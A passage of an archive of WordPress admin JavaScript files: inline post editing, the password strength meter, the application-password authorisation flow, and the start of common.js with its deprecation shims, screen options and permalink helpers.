name="indeterminate_post_category[]" value="'+u(this).val()+'">').attr("aria-label",t.trim()+": "+h.i18n.__("Some selected posts have this category"))))}),u('.inline-edit-categories input[name="post_category[]"]:indeterminate').on("change",function(){u(this).removeAttr("aria-label").parent().find('input[name="indeterminate_post_category[]"]').remove()}),u(".inline-edit-save button").on("click",function(){u('.inline-edit-categories input[name="post_category[]"]').prop("indeterminate",!1)}),u("#bulk-titles .ntdelbutton").click(function(){var t=u(this),e=t.attr("id").substr(1),i=t.parent().prev().children(".ntdelbutton"),t=t.parent().next().children(".ntdelbutton");u("input#cb-select-all-1, input#cb-select-all-2").prop("checked",!1),u('table.widefat input[value="'+e+'"]').prop("checked",!1),u("#_"+e).parent().remove(),h.a11y.speak(h.i18n.__("Item removed."),"assertive"),t.length?t.focus():i.length?i.focus():(u("#bulk-titles-list").remove(),inlineEditPost.revert(),h.a11y.speak(h.i18n.__("All selected items have been removed. Select new items to use Bulk Actions.")))}),"post"===t&&u("tr.inline-editor textarea[data-wp-taxonomy]").each(function(t,e){u(e).autocomplete("instance")||u(e).wpTagsSuggest()}),u("#bulk-edit .inline-edit-wrapper").attr("tabindex","-1").focus(),u("html, body").animate({scrollTop:0},"fast")},edit:function(n){var t,a,e,i,s,r,o,l,d=this,c=!0;for(d.revert(),"object"==typeof n&&(n=d.getId(n)),t=["post_title","post_name","post_author","_status","jj","mm","aa","hh","mn","ss","post_password","post_format","menu_order","page_template"],"page"===d.type&&t.push("post_parent"),a=u("#inline-edit").clone(!0),u("td",a).attr("colspan",u("th:visible, td:visible",".widefat:first thead").length),u("td",a).find("#quick-edit-legend").removeAttr("id"),u("td",a).find('p[id^="quick-edit-"]').removeAttr("id"),u(d.what+n).removeClass("is-expanded").hide().after(a).after('<tr class="hidden"></tr>'),e=u("#inline_"+n),u(':input[name="post_author"] option[value="'+u(".post_author",e).text()+'"]',a).val()||u(':input[name="post_author"]',a).prepend('<option value="'+u(".post_author",e).text()+'">'+u("#post-"+n+" .author").text()+"</option>"),1===u(':input[name="post_author"] option',a).length&&u("label.inline-edit-author",a).hide(),o=0;o<t.length;o++)(l=u("."+t[o],e)).find("img").replaceWith(function(){return this.alt}),l=l.text(),u(':input[name="'+t[o]+'"]',a).val(l);"open"===u(".comment_status",e).text()&&u('input[name="comment_status"]',a).prop("checked",!0),"open"===u(".ping_status",e).text()&&u('input[name="ping_status"]',a).prop("checked",!0),"sticky"===u(".sticky",e).text()&&u('input[name="sticky"]',a).prop("checked",!0),u(".post_category",e).each(function(){var t,e=u(this).text();e&&(t=u(this).attr("id").replace("_"+n,""),u("ul."+t+"-checklist :checkbox",a).val(e.split(",")))}),u(".tags_input",e).each(function(){var t=u(this),e=u(this).attr("id").replace("_"+n,""),e=u("textarea.tax_input_"+e,a),i=h.i18n._x(",","tag delimiter").trim();e.length&&(t.find("img").replaceWith(function(){return this.alt}),(t=t.text())&&(","!==i&&(t=t.replace(/,/g,i)),e.val(t)),e.wpTagsSuggest())});var p,d=u(':input[name="aa"]').val()+"-"+u(':input[name="mm"]').val()+"-"+u(':input[name="jj"]').val(),d=(d+=" "+u(':input[name="hh"]').val()+":"+u(':input[name="mn"]').val()+":"+u(':input[name="ss"]').val(),new Date(d));if(("future"!==(p=u("._status",e).text())&&Date.now()>d?u('select[name="_status"] option[value="future"]',a):u('select[name="_status"] option[value="publish"]',a)).remove(),d=u(".inline-edit-password-input").prop("disabled",!1),"private"===p&&(u('input[name="keep_private"]',a).prop("checked",!0),d.val("").prop("disabled",!0)),0<(i=u('select[name="post_parent"] option[value="'+n+'"]',a)).length){for(s=i[0].className.split("-")[1],r=i;c&&0!==(r=r.next("option")).length;)r[0].className.split("-")[1]<=s?c=!1:(r.remove(),r=i);i.remove()}return u(a).attr("id","edit-"+n).addClass("inline-editor").show(),u(".ptitle",a).trigger("focus"),!1},save:function(n){var t=u(".post_status_page").val()||"";return"object"==typeof n&&(n=this.getId(n)),u("table.widefat .spinner").addClass("is-active"),t={action:"inline-save",post_type:typenow,post_ID:n,edit_date:"true",post_status:t},t=u("#edit-"+n).find(":input").serialize()+"&"+u.param(t),u.post(ajaxurl,t,function(t){var e=u("#edit-"+n+" .inline-edit-save .notice-error"),i=e.find(".error");u("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(u(inlineEditPost.what+n).siblings("tr.hidden").addBack().remove(),u("#edit-"+n).before(t).remove(),u(inlineEditPost.what+n).hide().fadeIn(400,function(){u(this).find(".editinline").attr("aria-expanded","false").trigger("focus"),h.a11y.speak(h.i18n.__("Changes saved."))})):(t=t.replace(/<.[^<>]*?>/g,""),e.removeClass("hidden"),i.html(t),h.a11y.speak(i.text())):(e.removeClass("hidden"),i.text(h.i18n.__("Error while saving the changes.")),h.a11y.speak(h.i18n.__("Error while saving the changes.")))},"html"),!1},revert:function(){var t=u(".widefat"),e=u(".inline-editor",t).attr("id");return e&&(u(".spinner",t).removeClass("is-active"),("bulk-edit"===e?(u("#bulk-edit",t).removeClass("inline-editor").hide().siblings(".hidden").remove(),u("#bulk-titles").empty(),u("#inlineedit").append(u("#bulk-edit")),u("#"+inlineEditPost.whichBulkButtonId)):(u("#"+e).siblings("tr.hidden").addBack().remove(),e=e.substr(e.lastIndexOf("-")+1),u(this.what+e).show().find(".editinline").attr("aria-expanded","false"))).trigger("focus")),!1},getId:function(t){t=u(t).closest("tr").attr("id").split("-");return t[t.length-1]}},u(function(){inlineEditPost.init()}),u(function(){void 0!==h&&h.heartbeat&&h.heartbeat.interval(10)}).on("heartbeat-tick.wp-check-locked-posts",function(t,e){var n=e["wp-check-locked-posts"]||{},a="wp-locked";u("#the-list tr").each(function(t,e){var i=e.id,e=u(e);n.hasOwnProperty(i)?e.hasClass(a)||(i=n[i],e.find(".column-title .locked-text").text(i.text),e.find(".check-column checkbox").prop("checked",!1),i.avatar_src&&(i=u("<img />",{class:"avatar avatar-18 photo",width:18,height:18,alt:"",src:i.avatar_src,srcset:i.avatar_src_2x?i.avatar_src_2x+" 2x":void 0}),e.find(".column-title .locked-avatar").empty().append(i)),e.addClass(a)):e.hasClass(a)&&e.removeClass(a).find(".locked-info span").empty()})}).on("heartbeat-send.wp-check-locked-posts",function(t,e){var i=[];u("#the-list tr").each(function(t,e){e.id&&i.push(e.id)}),i.length&&(e["wp-check-locked-posts"]=i)})}(jQuery,window.wp); password-strength-meter.js 0000644 00000010214 15222552267 0011720 0 ustar 00 /** * @output wp-admin/js/password-strength-meter.js */ /* global zxcvbn */ window.wp = window.wp || {}; (function($){ var __ = wp.i18n.__, sprintf = wp.i18n.sprintf; /** * Contains functions to determine the password strength. * * @since 3.7.0 * * @namespace */ wp.passwordStrength = { /** * Determines the strength of a given password. * * Compares first password to the password confirmation. * * @since 3.7.0 * * @param {string} password1 The subject password. * @param {Array} disallowedList An array of words that will lower the entropy of * the password. * @param {string} password2 The password confirmation. * * @return {number} The password strength score. */ meter : function( password1, disallowedList, password2 ) { if ( ! Array.isArray( disallowedList ) ) disallowedList = [ disallowedList.toString() ]; if (password1 != password2 && password2 && password2.length > 0) return 5; if ( 'undefined' === typeof window.zxcvbn ) { // Password strength unknown. return -1; } var result = zxcvbn( password1, disallowedList ); return result.score; }, /** * Builds an array of words that should be penalized. * * Certain words need to be penalized because it would lower the entropy of a * password if they were used. The disallowedList is based on user input fields such * as username, first name, email etc. * * @since 3.7.0 * @deprecated 5.5.0 Use {@see 'userInputDisallowedList()'} instead. * * @return {string[]} The array of words to be disallowed. */ userInputBlacklist : function() { window.console.log( sprintf( /* translators: 1: Deprecated function name, 2: Version number, 3: Alternative function name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code.' ), 'wp.passwordStrength.userInputBlacklist()', '5.5.0', 'wp.passwordStrength.userInputDisallowedList()' ) ); return wp.passwordStrength.userInputDisallowedList(); }, /** * Builds an array of words that should be penalized. * * Certain words need to be penalized because it would lower the entropy of a * password if they were used. The disallowed list is based on user input fields such * as username, first name, email etc. * * @since 5.5.0 * * @return {string[]} The array of words to be disallowed. */ userInputDisallowedList : function() { var i, userInputFieldsLength, rawValuesLength, currentField, rawValues = [], disallowedList = [], userInputFields = [ 'user_login', 'first_name', 'last_name', 'nickname', 'display_name', 'email', 'url', 'description', 'weblog_title', 'admin_email' ]; // Collect all the strings we want to disallow. rawValues.push( document.title ); rawValues.push( document.URL ); userInputFieldsLength = userInputFields.length; for ( i = 0; i < userInputFieldsLength; i++ ) { currentField = $( '#' + userInputFields[ i ] ); if ( 0 === currentField.length ) { continue; } rawValues.push( currentField[0].defaultValue ); rawValues.push( currentField.val() ); } /* * Strip out non-alphanumeric characters and convert each word to an * individual entry. */ rawValuesLength = rawValues.length; for ( i = 0; i < rawValuesLength; i++ ) { if ( rawValues[ i ] ) { disallowedList = disallowedList.concat( rawValues[ i ].replace( /\W/g, ' ' ).split( ' ' ) ); } } /* * Remove empty values, short words and duplicates. Short words are likely to * cause many false positives. */ disallowedList = $.grep( disallowedList, function( value, key ) { if ( '' === value || 4 > value.length ) { return false; } return $.inArray( value, disallowedList ) === key; }); return disallowedList; } }; // Backward compatibility. /** * Password strength meter function. * * @since 2.5.0 * @deprecated 3.7.0 Use wp.passwordStrength.meter instead. * * @global * * @type {wp.passwordStrength.meter} */ window.passwordStrength = wp.passwordStrength.meter; })(jQuery); auth-app.js 0000644 00000013244 15222552267 0006635 0 ustar 00 /** * @output wp-admin/js/auth-app.js */ /* global authApp */ ( function( $, authApp ) { var $appNameField = $( '#app_name' ), $approveBtn = $( '#approve' ), $rejectBtn = $( '#reject' ), $form = $appNameField.closest( 'form' ), context = { userLogin: authApp.user_login, successUrl: authApp.success, rejectUrl: authApp.reject }; $approveBtn.on( 'click', function( e ) { var name = $appNameField.val(), appId = $( 'input[name="app_id"]', $form ).val(); e.preventDefault(); if ( $approveBtn.prop( 'aria-disabled' ) ) { return; } if ( 0 === name.length ) { $appNameField.trigger( 'focus' ); return; } $approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' ); var request = { name: name }; if ( appId.length > 0 ) { request.app_id = appId; } /** * Filters the request data used to Authorize an Application Password request. * * @since 5.6.0 * * @param {Object} request The request data. * @param {Object} context Context about the Application Password request. * @param {string} context.userLogin The user's login username. * @param {string} context.successUrl The URL the user will be redirected to after approving the request. * @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request. */ request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context ); wp.apiRequest( { path: '/wp/v2/users/me/application-passwords?_locale=user', method: 'POST', data: request } ).done( function( response, textStatus, jqXHR ) { /** * Fires when an Authorize Application Password request has been successfully approved. * * In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'} * action to ensure that both the JS and no-JS variants are handled. * * @since 5.6.0 * * @param {Object} response The response from the REST API. * @param {string} response.password The newly created password. * @param {string} textStatus The status of the request. * @param {jqXHR} jqXHR The underlying jqXHR object that made the request. */ wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR ); var raw = authApp.success, url, message, $notice; if ( raw ) { url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) + 'site_url=' + encodeURIComponent( authApp.site_url ) + '&user_login=' + encodeURIComponent( authApp.user_login ) + '&password=' + encodeURIComponent( response.password ); window.location = url; } else { message = wp.i18n.sprintf( /* translators: %s: Application name. */ '<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>', '<strong></strong>' ) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />'; $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .attr( 'tabindex', -1 ) .addClass( 'notice notice-success notice-alt' ) .append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) ) .append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' ); // We're using .text() to write the variables to avoid any chance of XSS. $( 'strong', $notice ).text( response.name ); $( 'input', $notice ).val( response.password ); $form.replaceWith( $notice ); $notice.trigger( 'focus' ); } } ).fail( function( jqXHR, textStatus, errorThrown ) { var errorMessage = errorThrown, error = null; if ( jqXHR.responseJSON ) { error = jqXHR.responseJSON; if ( error.message ) { errorMessage = error.message; } } var $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .addClass( 'notice notice-error' ) .append( $( '<p></p>' ).text( errorMessage ) ); $( 'h1' ).after( $notice ); $approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' ); /** * Fires when an Authorize Application Password request encountered an error when trying to approve the request. * * @since 5.6.0 * @since 5.6.1 Corrected action name and signature. * * @param {Object|null} error The error from the REST API. May be null if the server did not send proper JSON. * @param {string} textStatus The status of the request. * @param {string} errorThrown The error message associated with the response status code. * @param {jqXHR} jqXHR The underlying jqXHR object that made the request. */ wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR ); } ); } ); $rejectBtn.on( 'click', function( e ) { e.preventDefault(); /** * Fires when an Authorize Application Password request has been rejected by the user. * * @since 5.6.0 * * @param {Object} context Context about the Application Password request. * @param {string} context.userLogin The user's login username. * @param {string} context.successUrl The URL the user will be redirected to after approving the request. * @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request. */ wp.hooks.doAction( 'wp_application_passwords_reject_app', context ); // @todo: Make a better way to do this so it feels like less of a semi-open redirect. window.location = authApp.reject; } ); $form.on( 'submit', function( e ) { e.preventDefault(); } ); }( jQuery, authApp ) ); common.js 0000644 00000172420 15222552267 0006410 0 ustar 00 /** * @output wp-admin/js/common.js */ /* global setUserSetting, ajaxurl, alert, confirm, pagenow */ /* global columns, screenMeta */ /** * Adds common WordPress functionality to the window. * * @param {jQuery} $ jQuery object. * @param {Object} window The window object. * @param {mixed} undefined Unused. */ ( function( $, window, undefined ) { var $document = $( document ), $window = $( window ), $body = $( document.body ), __ = wp.i18n.__, sprintf = wp.i18n.sprintf; /** * Throws an error for a deprecated property. * * @since 5.5.1 * * @param {string} propName The property that was used. * @param {string} version The version of WordPress that deprecated the property. * @param {string} replacement The property that should have been used. */ function deprecatedProperty( propName, version, replacement ) { var message; if ( 'undefined' !== typeof replacement ) { message = sprintf( /* translators: 1: Deprecated property name, 2: Version number, 3: Alternative property name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead.' ), propName, version, replacement ); } else { message = sprintf( /* translators: 1: Deprecated property name, 2: Version number. */ __( '%1$s is deprecated since version %2$s with no alternative available.' ), propName, version ); } window.console.warn( message ); } /** * Deprecate all properties on an object. * * @since 5.5.1 * @since 5.6.0 Added the `version` parameter. * * @param {string} name The name of the object, i.e. commonL10n. * @param {object} l10nObject The object to deprecate the properties on. * @param {string} version The version of WordPress that deprecated the property. * * @return {object} The object with all its properties deprecated. */ function deprecateL10nObject( name, l10nObject, version ) { var deprecatedObject = {}; Object.keys( l10nObject ).forEach( function( key ) { var prop = l10nObject[ key ]; var propName = name + '.' + key; if ( 'object' === typeof prop ) { Object.defineProperty( deprecatedObject, key, { get: function() { deprecatedProperty( propName, version, prop.alternative ); return prop.func(); } } ); } else { Object.defineProperty( deprecatedObject, key, { get: function() { deprecatedProperty( propName, version, 'wp.i18n' ); return prop; } } ); } } ); return deprecatedObject; } window.wp.deprecateL10nObject = deprecateL10nObject; /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.6.0 * @deprecated 5.5.0 */ window.commonL10n = window.commonL10n || { warnDelete: '', dismiss: '', collapseMenu: '', expandMenu: '' }; window.commonL10n = deprecateL10nObject( 'commonL10n', window.commonL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 3.3.0 * @deprecated 5.5.0 */ window.wpPointerL10n = window.wpPointerL10n || { dismiss: '' }; window.wpPointerL10n = deprecateL10nObject( 'wpPointerL10n', window.wpPointerL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.3.0 * @deprecated 5.5.0 */ window.userProfileL10n = window.userProfileL10n || { warn: '', warnWeak: '', show: '', hide: '', cancel: '', ariaShow: '', ariaHide: '' }; window.userProfileL10n = deprecateL10nObject( 'userProfileL10n', window.userProfileL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.6 * @deprecated 5.5.0 */ window.privacyToolsL10n = window.privacyToolsL10n || { noDataFound: '', foundAndRemoved: '', noneRemoved: '', someNotRemoved: '', removalError: '', emailSent: '', noExportFile: '', exportError: '' }; window.privacyToolsL10n = deprecateL10nObject( 'privacyToolsL10n', window.privacyToolsL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 3.6.0 * @deprecated 5.5.0 */ window.authcheckL10n = { beforeunload: '' }; window.authcheckL10n = window.authcheckL10n || deprecateL10nObject( 'authcheckL10n', window.authcheckL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.8.0 * @deprecated 5.5.0 */ window.tagsl10n = { noPerm: '', broken: '' }; window.tagsl10n = window.tagsl10n || deprecateL10nObject( 'tagsl10n', window.tagsl10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.5.0 * @deprecated 5.5.0 */ window.adminCommentsL10n = window.adminCommentsL10n || { hotkeys_highlight_first: { alternative: 'window.adminCommentsSettings.hotkeys_highlight_first', func: function() { return window.adminCommentsSettings.hotkeys_highlight_first; } }, hotkeys_highlight_last: { alternative: 'window.adminCommentsSettings.hotkeys_highlight_last', func: function() { return window.adminCommentsSettings.hotkeys_highlight_last; } }, replyApprove: '', reply: '', warnQuickEdit: '', warnCommentChanges: '', docTitleComments: '', docTitleCommentsCount: '' }; window.adminCommentsL10n = deprecateL10nObject( 'adminCommentsL10n', window.adminCommentsL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.5.0 * @deprecated 5.5.0 */ window.tagsSuggestL10n = window.tagsSuggestL10n || { tagDelimiter: '', removeTerm: '', termSelected: '', termAdded: '', termRemoved: '' }; window.tagsSuggestL10n = deprecateL10nObject( 'tagsSuggestL10n', window.tagsSuggestL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 3.5.0 * @deprecated 5.5.0 */ window.wpColorPickerL10n = window.wpColorPickerL10n || { clear: '', clearAriaLabel: '', defaultString: '', defaultAriaLabel: '', pick: '', defaultLabel: '' }; window.wpColorPickerL10n = deprecateL10nObject( 'wpColorPickerL10n', window.wpColorPickerL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.7.0 * @deprecated 5.5.0 */ window.attachMediaBoxL10n = window.attachMediaBoxL10n || { error: '' }; window.attachMediaBoxL10n = deprecateL10nObject( 'attachMediaBoxL10n', window.attachMediaBoxL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.5.0 * @deprecated 5.5.0 */ window.postL10n = window.postL10n || { ok: '', cancel: '', publishOn: '', publishOnFuture: '', publishOnPast: '', dateFormat: '', showcomm: '', endcomm: '', publish: '', schedule: '', update: '', savePending: '', saveDraft: '', 'private': '', 'public': '', publicSticky: '', password: '', privatelyPublished: '', published: '', saveAlert: '', savingText: '', permalinkSaved: '' }; window.postL10n = deprecateL10nObject( 'postL10n', window.postL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.7.0 * @deprecated 5.5.0 */ window.inlineEditL10n = window.inlineEditL10n || { error: '', ntdeltitle: '', notitle: '', comma: '', saved: '' }; window.inlineEditL10n = deprecateL10nObject( 'inlineEditL10n', window.inlineEditL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.7.0 * @deprecated 5.5.0 */ window.plugininstallL10n = window.plugininstallL10n || { plugin_information: '', plugin_modal_label: '', ays: '' }; window.plugininstallL10n = deprecateL10nObject( 'plugininstallL10n', window.plugininstallL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 3.0.0 * @deprecated 5.5.0 */ window.navMenuL10n = window.navMenuL10n || { noResultsFound: '', warnDeleteMenu: '', saveAlert: '', untitled: '' }; window.navMenuL10n = deprecateL10nObject( 'navMenuL10n', window.navMenuL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.5.0 * @deprecated 5.5.0 */ window.commentL10n = window.commentL10n || { submittedOn: '', dateFormat: '' }; window.commentL10n = deprecateL10nObject( 'commentL10n', window.commentL10n, '5.5.0' ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 2.9.0 * @deprecated 5.5.0 */ window.setPostThumbnailL10n = window.setPostThumbnailL10n || { setThumbnail: '', saving: '', error: '', done: '' }; window.setPostThumbnailL10n = deprecateL10nObject( 'setPostThumbnailL10n', window.setPostThumbnailL10n, '5.5.0' ); /** * Removed in 6.5.0, needed for back-compatibility. * * @since 4.5.0 * @deprecated 6.5.0 */ window.uiAutocompleteL10n = window.uiAutocompleteL10n || { noResults: '', oneResult: '', manyResults: '', itemSelected: '' }; window.uiAutocompleteL10n = deprecateL10nObject( 'uiAutocompleteL10n', window.uiAutocompleteL10n, '6.5.0' ); /** * Removed in 3.3.0, needed for back-compatibility. * * @since 2.7.0 * @deprecated 3.3.0 */ window.adminMenu = { init : function() {}, fold : function() {}, restoreMenuState : function() {}, toggle : function() {}, favorites : function() {} }; // Show/hide/save table columns. window.columns = { /** * Initializes the column toggles in the screen options. * * Binds an onClick event to the checkboxes to show or hide the table columns * based on their toggled state. And persists the toggled state. * * @since 2.7.0 * * @return {void} */ init : function() { var that = this; $('.hide-column-tog', '#adv-settings').on( 'click', function() { var $t = $(this), column = $t.val(); if ( $t.prop('checked') ) that.checked(column); else that.unchecked(column); columns.saveManageColumnsState(); }); }, /** * Saves the toggled state for the columns. * * Saves whether the columns should be shown or hidden on a page. * * @since 3.0.0 * * @return {void} */ saveManageColumnsState : function() { var hidden = this.hidden(); $.post( ajaxurl, { action: 'hidden-columns', hidden: hidden, screenoptionnonce: $('#screenoptionnonce').val(), page: pagenow }, function() { wp.a11y.speak( __( 'Screen Options updated.' ) ); } ); }, /** * Makes a column visible and adjusts the column span for the table. * * @since 3.0.0 * @param {string} column The column name. * * @return {void} */ checked : function(column) { $('.column-' + column).removeClass( 'hidden' ); this.colSpanChange(+1); }, /** * Hides a column and adjusts the column span for the table. * * @since 3.0.0 * @param {string} column The column name. * * @return {void} */ unchecked : function(column) { $('.column-' + column).addClass( 'hidden' ); this.colSpanChange(-1); }, /** * Gets all hidden columns. * * @since 3.0.0 * * @return {string} The hidden column names separated by a comma. */ hidden : function() { return $( '.manage-column[id]' ).filter( '.hidden' ).map(function() { return this.id; }).get().join( ',' ); }, /** * Gets the checked column toggles from the screen options. * * @since 3.0.0 * * @return {string} String containing the checked column names. */ useCheckboxesForHidden : function() { this.hidden = function(){ return $('.hide-column-tog').not(':checked').map(function() { var id = this.id; return id.substring( id, id.length - 5 ); }).get().join(','); }; }, /** * Adjusts the column span for the table. * * @since 3.1.0 * * @param {number} diff The modifier for the column span. */ colSpanChange : function(diff) { var $t = $('table').find('.colspanchange'), n; if ( !$t.length ) return; n = parseInt( $t.attr('colspan'), 10 ) + diff; $t.attr('colspan', n.toString()); } }; $( function() { columns.init(); } ); /** * Validates that the required form fields are not empty. * * @since 2.9.0 * * @param {jQuery} form The form to validate. * * @return {boolean} Returns true if all required fields are not an empty string. */ window.validateForm = function( form ) { return !$( form ) .find( '.form-required' ) .filter( function() { return $( ':input:visible', this ).val() === ''; } ) .addClass( 'form-invalid' ) .find( ':input:visible' ) .on( 'change', function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } ) .length; }; // Stub for doing better warnings. /** * Shows message pop-up notice or confirmation message. * * @since 2.7.0 * * @type {{warn: showNotice.warn, note: showNotice.note}} * * @return {void} */ window.showNotice = { /** * Shows a delete confirmation pop-up message. * * @since 2.7.0 * * @return {boolean} Returns true if the message is confirmed. */ warn : function() { if ( confirm( __( 'You are about to permanently delete these items from your site.\nThis action cannot be undone.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) { return true; } return false; }, /** * Shows an alert message. * * @since 2.7.0 * * @param text The text to display in the message. */ note : function(text) { alert(text); } }; /** * Represents the functions for the meta screen options panel. * * @since 3.2.0 * * @type {{element: null, toggles: null, page: null, init: screenMeta.init, * toggleEvent: screenMeta.toggleEvent, open: screenMeta.open, * close: screenMeta.close}} * * @return {void} */ window.screenMeta = { element: null, // #screen-meta toggles: null, // .screen-meta-toggle page: null, // #wpcontent /** * Initializes the screen meta options panel. * * @since 3.2.0 * * @return {void} */ init: function() { this.element = $('#screen-meta'); this.toggles = $( '#screen-meta-links' ).find( '.show-settings' ); this.page = $('#wpcontent'); this.toggles.on( 'click', this.toggleEvent ); }, /** * Toggles the screen meta options panel. * * @since 3.2.0 * * @return {void} */ toggleEvent: function() { var panel = $( '#' + $( this ).attr( 'aria-controls' ) ); if ( !panel.length ) return; if ( panel.is(':visible') ) screenMeta.close( panel, $(this) ); else screenMeta.open( panel, $(this) ); }, /** * Opens the screen meta options panel. * * @since 3.2.0 * * @param {jQuery} panel The screen meta options panel div. * @param {jQuery} button The toggle button. * * @return {void} */ open: function( panel, button ) { $( '#screen-meta-links' ).find( '.screen-meta-toggle' ).not( button.parent() ).css( 'visibility', 'hidden' ); panel.parent().show(); /** * Sets the focus to the meta options panel and adds the necessary CSS classes. * * @since 3.2.0 * * @return {void} */ panel.slideDown( 'fast', function() { panel.removeClass( 'hidden' ).trigger( 'focus' ); button.addClass( 'screen-meta-active' ).attr( 'aria-expanded', true ); }); $document.trigger( 'screen:options:open' ); }, /** * Closes the screen meta options panel. * * @since 3.2.0 * * @param {jQuery} panel The screen meta options panel div. * @param {jQuery} button The toggle button. * * @return {void} */ close: function( panel, button ) { /** * Hides the screen meta options panel. * * @since 3.2.0 * * @return {void} */ panel.slideUp( 'fast', function() { button.removeClass( 'screen-meta-active' ).attr( 'aria-expanded', false ); $('.screen-meta-toggle').css('visibility', ''); panel.parent().hide(); panel.addClass( 'hidden' ); }); $document.trigger( 'screen:options:close' ); } }; /** * Initializes the help tabs in the help panel. * * @param {Event} e The event object. * * @return {void} */ $('.contextual-help-tabs').on( 'click', 'a', function(e) { var link = $(this), panel; e.preventDefault(); // Don't do anything if the click is for the tab already showing. if ( link.is('.active a') ) return false; // Links. $('.contextual-help-tabs .active').removeClass('active'); link.parent('li').addClass('active'); panel = $( link.attr('href') ); // Panels. $('.help-tab-content').not( panel ).removeClass('active').hide(); panel.addClass('active').show(); }); /** * Update custom permalink structure via buttons. */ var permalinkStructureFocused = false, $permalinkStructure = $( '#permalink_structure' ), $permalinkStructureInputs = $( '.permalink-structure input:radio' ), $permalinkCustomSelection = $( '#custom_selection' ), $availableStructureTags = $( '.form-table.permalink-structure .available-structure-tags button' ); // Change permalink structure input when selecting one of the common structures. $permalinkStructureInputs.on( 'change', function() { if ( 'custom' === this.value ) { return; } $permalinkStructure.val( this.value ); // Update button states after selection. $availableStructureTags.each( function() { changeStructureTagButtonState( $( this ) ); } ); } ); $permalinkStructure.on( 'click input', function() { $permalinkCustomSelection.prop( 'checked', true ); } ); // Check if the permalink structure input field has had focus at least once. $permalinkStructure.on( 'focus', function( event ) { permalinkStructureFocused = true; $( this ).off( event ); } ); /** * Enables or disables a structure tag button depending on its usage. * * If the structure is already used in the custom permalink structure, * it will be disabled. * * @param {Object} button Button jQuery object. */ function changeStructureTagButtonState( button ) { if ( -1 !== $permalinkStructure.val().indexOf( button.text().trim() ) ) { button.attr( 'data-label', button.attr( 'aria-label' ) ); button.attr( 'aria-label', button.attr( 'data-used' ) ); button.attr( 'aria-pressed', true ); button.addClass( 'active' ); } else if ( button.attr( 'data-label' ) ) { button.attr( 'aria-label', button.attr( 'data-label' ) ); button.attr( 'aria-pressed', false ); button.removeClass( 'active' ); } } // Check initial button state. $availableStructureTags.each( function() { changeStructureTagButtonState( $( this ) ); } ); // Observe permalink structure field and disable buttons of tags that are already present. $permalinkStructure.on( 'change', function() { $availableStructureTags.each( function() { changeStructureTagButtonState( $( this ) ); } ); } ); $availableStructureTags.on( 'click', function() { var permalinkStructureValue = $permalinkStructure.val(), selectionStart = $permalinkStructure[ 0 ].selectionStart, selectionEnd = $permalinkStructure[ 0 ].selectionEnd, textToAppend = $( this ).text().trim(), textToAnnounce, newSelectionStart; if ( $( this ).hasClass( 'active' ) ) { textToAnnounce = $( this ).attr( 'data-removed' ); } else { textToAnnounce = $( this ).attr( 'data-added' ); } // Remove structure tag if already part of the structure. if ( -1 !== permalinkStructureValue.indexOf( textToAppend ) ) { permalinkStructureValue = permalinkStructureValue.replace( textToAppend + '/', '' ); $permalinkStructure.val( '/' === permalinkStructureValue ? '' : permalinkStructureValue ); // Announce change to screen readers. $( '#custom_selection_updated' ).text( textToAnnounce ); // Disable button. changeStructureTagButtonState( $( this ) ); return; } // Input field never had focus, move selection to end of input. if ( ! permalinkStructureFocused && 0 === selectionStart && 0 === selectionEnd ) { selectionStart = selectionEnd = permalinkStructureValue.length; } $permalinkCustomSelection.prop( 'checked', true ); // Prepend and append slashes if necessary. if ( '/' !== permalinkStructureValue.substr( 0, selectionStart ).substr( -1 ) ) { textToAppend = '/' + textToAppend; } if ( '/' !== permalinkStructureValue.substr( selectionEnd, 1 ) ) { textToAppend = textToAppend + '/'; } // Insert structure tag at the specified position. $permalinkStructure.val( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend + permalinkStructureValue.substr( selectionEnd ) ); // Announce change to screen readers. $( '#custom_selection_updated' ).text( textToAnnounce ); // Disable button. changeStructureTagButtonState( $( this ) ); // If input had focus give it back with cursor right after appended text. if ( permalinkStructureFocused && 